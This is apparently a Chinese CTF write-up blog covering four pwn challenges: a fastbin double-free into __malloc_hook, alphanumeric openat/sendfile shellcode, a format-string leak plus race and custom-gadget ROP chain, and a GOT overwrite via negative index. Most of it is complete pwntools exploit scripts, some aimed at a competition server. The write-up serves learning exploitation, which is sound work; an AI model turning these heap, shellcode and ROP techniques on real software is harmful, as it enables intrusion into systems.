vtable_hijack

没有去符号表好评

2.23的uaf edit可以直接堆溢出,感觉什么洞都可以打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=remote('125.70.243.22',31194)
#p=process('./pwn')
elf=ELF('./pwn')


s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def add(idx,size):
sla(b'choice:',b'1')
sla(b'index:',str(idx))
sla(b'size:',str(size))

def free(idx):
sla(b'choice:',b'2')
sla(b'index:',str(idx))

def edit(idx,size,content):
sla(b'choice:',b'3')
sla(b'index:',str(idx))
sla(b'length:',str(size))
sa(b'content:',content)

def show(idx):
sla(b'choice:',b'4')
sla(b'index:',str(idx))

def debug():
gdb.attach(p)
pause()

add(0,0x68)
add(1,0x68)
add(2,0x68)
add(3,0x90)

add(4,0x10)

free(3)

show(3)
p.recv()
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x39bb78
lg('leak',leak)

puts_got=elf.got['puts']

#0x3f3e6 0x3f43a 0xd5c07
edit(4,0x10,b'/bin/sh\x00')
add(3,0x90)

free(1)
free(0)
free(1)


add(1,0x68)
malloc=leak+0x39bb10
addr=leak+0x39baed
#addr = malloc - 0x23
shell=leak+0xd5c07
lg('malloc',malloc)
lg('addr',addr)

edit(1,0x8,p64(addr))

add(5,0x68)

add(6,0x68)

add(7,0x68)
payload=b'a'*0x13+p64(shell)
edit(7,0x23,payload)

add(0x10,b'aaaa')
p.interactive()

Alpha_Shell

不知道为什么,我ida f5大法失败

这题就是一个纯shellcode的编写

image-20241209201529736

沙箱禁用了很多的函数,这里使用openat+sendfile

附上官方的wp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from ae64 import AE64
#p = process("./pwn")
p=remote('125.70.243.22',31801)
context(os="linux", arch='amd64', log_level='debug')
#p.recvuntil("\n")
shellcode = shellcraft.openat('AT_FDCWD', './flag', 0, 0)
shellcode += shellcraft.sendfile(1, 3, 0, 50)
shellcode1 = AE64().encode(asm(shellcode), 'rdx', 0, 'fast')
p.send(shellcode1)
p.interactive()

Offensive_Security

静态分析要到给的libc中去

image-20241210200040554

格式化字符串拿到随机数和泄露处部分的libc,计算到libc版本

接着通过两个线程的函数速度不一致在guess处覆盖掉authentication_code,获得最后的栈溢出

接着就是rop,我是直接通过system /bin/sh\x00获得本地的权限

BUT 这题其实是要用题目给gadgets获得flag的,但是我学不明白,暂时先这样吧,后面学会了再来(有点好奇比赛里面这个题目写出来的大佬是怎么不通过这个gadgets获得权限的)

image-20241210202939848

事已至此,等等其他的wp吧……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p=remote(b'125.70.243.22',31808)
p=process('./pwn')
libc1=ELF('/lib/x86_64-linux-gnu/libc.so.6')

s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def debug():
gdb.attach(p)
pause()

sla(b'[!] Please input your Username:\n',b'%7$s')

p.recvuntil(b'\x0a')
leak=p.recv(8)
debug()
log.success(f"leak>>{leak}")

libc_leak=u64(p.recv(6)[:8].ljust(8,b'\x00'))
lg("libc_leak",libc_leak)
libc=libc_leak-0x21b780
lg('libc',libc)

sla(b'Please input your password:',leak)
ret=0x0400462
pop_rdi=0x0400661
binsh=libc+next(libc1.search(b'/bin/sh'))
system=libc+libc1.sym['system']

sla(":","1111")
sl("1111")

# debug()

payload=b'a'*40+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)

sl(payload)

p.interactive()

后续

看了挺多的文章的,还是找到了有解释的wp,还有热心的网友的帮助,这里重新构造最后的rop链

汇编指令意思

1
xlat

执行后的效果是 AL = DS:[BX + AL], ds是段寄存器,al ax 寄存器的低8位部分,bx是16位的基址寄存器

1
2
3
4
pop     rdx
pop rcx
add rcx, 0D093h
bextr rbx, rcx, rdx

具体作用是从寄存器 rcx 中提取指定的比特区间,并将其存储到寄存器 rbx

bextr(Bit Extract)指令的作用是从源寄存器中提取一段连续的比特,然后将其存入目标寄存器

rbx 是目标寄存器,存储提取的比特

rcx 是源寄存器,包含要提取比特的值

rdx 一般0x4000表示无偏移

1
stosb

它的作用是将一个字节的值(通常是 AL 寄存器中的值)存储到由 DI(或者在64位模式下是 RDI)寄存器所指向的内存地址,然后根据方向标志(DF)决定是递增还是递减目标地址

AL 寄存器中的值(即一个字节的数据)会被存储到 ES:DI 所指向的内存位置。这里 ES 是附加段寄存器,DI 是目标索引寄存器。

指令执行后,DI 寄存器的值会根据方向标志(DF)自动增加或减少。方向标志控制着内存地址的递增或递减:

如果 DF0,则 DI 会递增(通常用于从低地址向高地址存储)。

如果 DF1,则 DI 会递减(通常用于从高地址向低地址存储)。

好大的目标函数

1

rop组成

既然我们认识了汇编,那么怎么去组成一个gadgets呢

我们可以去先把flag的各个字符在elf文件中找到具体的地址,存放到char_locations中

1
2
3
4
5
for char in string_to_write:
match = next(elf.search(bytes([char])))
char_addr = hex(match + elf_base)
char_locations.append(char_addr)
info("%s found at %s", chr(char), char_addr)

接着就是我们把目标地址处,找的一个段0x600298,可读可写

接着就是把那三个gadgets的运用,这个说一下顺序,我们先把bextr可以pop rcx把符号在的地址进行放入rcx中,再放入rdx中,接着,因为xlat把rbx+al的值放入了al中(al开始是0),现在al中放了一个符号了,然后我们通过pop rdi放入我们的目标地址,接着,我们用stosb把al写入rdi(目标地址中去)

在第二次循环的时候,因为al中的值是符号,没有变,所以我们加pop rcx时,要减去前面一个符号表中的ascll值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

for char in flag:
match = next(elf.search(bytes([char])))
char_addr = hex(match + elf_base)
char_locations.append(char_addr)
info("%s found at %s", chr(char), char_addr)


al_last=0
payload=b''
for i, char_location in enumerate(char_locations):
if i!=0:
al_last=flag[i-1]
payload+=p64(bextr)
payload+=p64(0x4000)
payload+=p64(int(char_location,16)-al_last-0xd093)
payload+=p64(xlat)
payload+=p64(rdi)
payload+=p64(data_+i)
payload+=p64(stosb)

在flag被写入后,我们通过printer函数打印出flag(一次跑不出就多跑几次)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p=remote(b'125.70.243.22',31808)
p=process('./pwn')
elf=ELF('./pwn')
libc1=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc1=ELF('./lib2shell.so')
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def debug():
gdb.attach(p)
pause()

sla(b'[!] Please input your Username:\n',b'%7$s')

p.recvuntil(b'\x0a')
leak=p.recv(8)
#debug()
log.success(f"leak>>{leak}")

# libc_leak=u64(p.recv(6)[:8].ljust(8,b'\x00'))
# lg("libc_leak",libc_leak)
# libc=libc_leak-0x21b780
sa(b'Please input your password:',leak)
# lg('libc',libc)
sla("Please enter your authentication code:","1111")
sleep(1)
sl("1111")

# rop
data_=0x600298
printer=0x400647
xlat=0x40064E #bx+al->al
bextr=0x400650 #pop rdx rcx rcx->rbx
stosb=0x40065f #al->[rdi]
rdi=0x0400661

flag=b"flag"
char_locations=[]
elf_base=0


for char in flag:
match = next(elf.search(bytes([char])))
char_addr = hex(match + elf_base)
char_locations.append(char_addr)
info("%s found at %s", chr(char), char_addr)


al_last=0
payload=b''
for i, char_location in enumerate(char_locations):
if i!=0:
al_last=flag[i-1]
payload+=p64(bextr)
payload+=p64(0x4000)
payload+=p64(int(char_location,16)-al_last-0xd093)
payload+=p64(xlat)
payload+=p64(rdi)
payload+=p64(data_+i)
payload+=p64(stosb)

payload_1=b'a'*40+payload+p64(rdi)+p64(data_)+p64(printer)

p.recvuntil(b"Login success!")
p.sendlineafter(b">", payload_1)

p.interactive()

flag!!!

beverage store

题目算是给了半个后门函数

image-20241209230136789

我们只需把这个printf变成system,再把函数劫持到system中去即可

屏幕截图 2024-12-09 230232

scanf处只需输入负数即可修改got表

image-20241209230444664

因此,思路就是,先把exit改成这个函数,实现循环,然后再利用srand或者setvbuf处修获得libc地址,改printf为system,最后改exit为前面半个后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')



def debug():
gdb.attach(p)
pause()

s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

sla(b'input yours id',b'a'*12)
elf = cdll.LoadLibrary('./libc.so.6')
elf.srand(0x61616161)

v2=elf.rand()

sla(b'Input yours id authentication code:',str(v2))
#debug()
sla(b'wine',b'-4')
sla(b'which one to choose',p64(0x40133b))

sla(b'wine',b'-5')
sla(b'which one to choose',b'aaaaaaa')
rl(b'aaaaaaa\n')
debug()
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x62090
lg('leak',leak)
system=leak+libc.sym['system']

lg('system',system)

sla(b'wine',b'-7')
sa(b'which one to choose',p64(system))

sl(b'-4')
sla(b'which one to choose',p64(0x401511))

p.interactive()

感谢

这个image-20241212001651470师傅在我复现的时候给了我很多的指导,膜拜下